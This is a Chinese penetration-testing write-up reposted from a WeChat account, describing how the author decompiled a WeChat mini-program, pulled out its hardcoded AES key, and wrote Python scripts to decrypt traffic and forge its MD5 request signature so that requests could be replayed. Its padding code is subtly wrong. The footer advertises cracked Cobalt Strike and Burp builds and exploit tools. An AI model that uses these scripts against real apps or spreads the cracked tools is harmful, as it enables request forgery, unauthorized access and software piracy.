实战 | 记某次逆向小程序解密及签名破解

admin 2024年3月11日13:26:39评论9 views字数 3354阅读11分10秒阅读模式
原文首发奇安信攻防社区:https://forum.butian.net/share/2786

前言

这是之前做的一个项目,想着从小程序入手,当我打开burp抓到流量看到加密的数据包,以及sign签名参数的时候,我就知道接下来是一场硬仗要打了,看我如何一步步解密并破解签名,且听我娓娓道来。

解密数据包

首先打开小程序并抓取数据流,发现数据包不管是请求包还是响应包都存在加密如下:实战 | 记某次逆向小程序解密及签名破解同时发现有验签,无法重放数据包,再次发包提示重复提交如下:实战 | 记某次逆向小程序解密及签名破解首次先解决加密问题,反编译小程序,这里使用的反编译工具为wxapkg。比较好用,地址为:

https://github.com/wux1an/wxapkg

这个工具可以直接扫描本地缓存的小程序:实战 | 记某次逆向小程序解密及签名破解上下键选择小程序,直接回车即可在工具当前路径下保存此小程序源码:实战 | 记某次逆向小程序解密及签名破解小程序源码有了,现在定位加密代码:实战 | 记某次逆向小程序解密及签名破解进入t的Encrypt方法,发现bizContent参数的加密方式为AES,加密模式为CBC,填充为pkcs7,key和iv 为HqNRc2XXXXXXXXXXX0wsiw==实战 | 记某次逆向小程序解密及签名破解编写如下脚本进行测试:

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
import base64

key_base64 = "HqNRXXXXXXXXXXXXwsiw=="  # 替换为你的Base64编码的密钥
iv_base64 = "HqNRXXXXXXXXXXXXXwsiw=="   # 替换为你的Base64编码的初始向量

def encrypt(text):
    key = base64.b64decode(key_base64)

    iv = base64.b64decode(iv_base64)
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    encryptor = cipher.encryptor()

    padded_data = text.encode('utf-8') + b"" * (16 - len(text) % 16)  # PKCS7 padding
    ciphertext = encryptor.update(padded_data) + encryptor.finalize()

    return base64.b64encode(ciphertext).decode('utf-8')

def decrypt(encrypted_text):
    key = base64.b64decode(key_base64)
    #print(base64.b16encode(key))
    iv = base64.b64decode(iv_base64)
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    decryptor = cipher.decryptor()

    encrypted_data = base64.b64decode(encrypted_text)
    decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()

    return decrypted_data.rstrip(b"").decode('utf-8')  # Remove PKCS7 padding

# 测试
while 1:
    enc_data = input("输入密文:")


    print("-----------------------------------------------------------------------------------------------------------")
    print("nnnnn明文是:"+decrypt(enc_data))
    print("-----------------------------------------------------------------------------------------------------------nnnnn")

运行脚本,输入密文,发现解密成功:实战 | 记某次逆向小程序解密及签名破解

破解签名

上文解密了数据包,接下来需要破解签名,解决数据包无法重放的问题,定位到加签代码位置,查看加签逻辑,发现加签逻辑为appid=&bizContent=&nonstr=&timestamp=&key=拼接值之后的md5值并转换为大写。其中appid和key为固定值如下:

appid: 4d75a8047XXXXXf481018315bab24851
key: 5cdf4b8d27XXXXXX88b5d2a4d7ff985b

bizContent为AES加密后的实际请求内容 nonstr为随机数,在签名中可不变动 timestamp为时间戳,重放加签的时候需要向后修改不同时间戳实战 | 记某次逆向小程序解密及签名破解现在了解了加签逻辑,为方便测试,再写一个加密脚本,获取bizContent的AES加密后的值,脚本代码逻辑和上面差不多,这里为避免占用篇幅就不贴了,加密如下:实战 | 记某次逆向小程序解密及签名破解加密内容有了,appid、key为固定值,nonstr为随机数,所以破解验签脚本如下:

import hashlib

def sign():
 appid = '4d75a8047XXXXXX8315bab24851'
 bizContent = input("输入bizContent:")
 nonstr = '8888888888'
 timestamp = input("输入timestamp:")
 key = '5cdf4b8d27XXXXXX5d2a4d7ff985b'
 all_data = "appid="+appid+"&bizContent="+bizContent+"&nonstr="+nonstr+"&timestamp="+timestamp+"&key="+key
 print(all_data)
 md=hashlib.md5(all_data.encode()) # 创建md5对象
 md5pwd=md.hexdigest() # md5加密
 print("签名是:n"+md5pwd.upper())
 print("-----------------------------------------------------------------------------------------------------------nnnnn")

while 1:
 sign()
     

生成新的验签如下:实战 | 记某次逆向小程序解密及签名破解使用新的签名进行数据包的重放,发现重放数据包成功,签名破解成功。实战 | 记某次逆向小程序解密及签名破解解密返回的数据包:实战 | 记某次逆向小程序解密及签名破解

小结

上文重点讲解了小程序数据包解密以及签名破解过程,如有错误,请斧正。

项目下载

号后台回复:3618,获取微信官方3618安装包下载链接。

众号后台回复:cs45,获取catcs4.5下载链接。

众号后台回复:cs49,获取CobaltStrike4.9原版jar破解下载链接。

众号后台回复:权限维持,获取CobaltStrike权限维持插件下载链接。

公众号后台回复:千寻,获取小艾魔改千寻框架下载链接。

公众号后台回复:chat,获取vx_chatgpt的下载链接。

公众号后台回复:jboss,获取jboss利用工具下载链接。

公众号后台回复:ruoyi,获取ruoyi利用工具下载链接。

公众号后台回复:162,获取Liqun16.2 工具包下载链接。

公众号后台回复:burp,获取burp2022.9.1破解版下载链接。

原文始发于微信公众号(小艾搞安全):实战 | 记某次逆向小程序解密及签名破解

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月11日13:26:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | 记某次逆向小程序解密及签名破解https://cn-sec.com/archives/2566129.html

发表评论

匿名网友 填写信息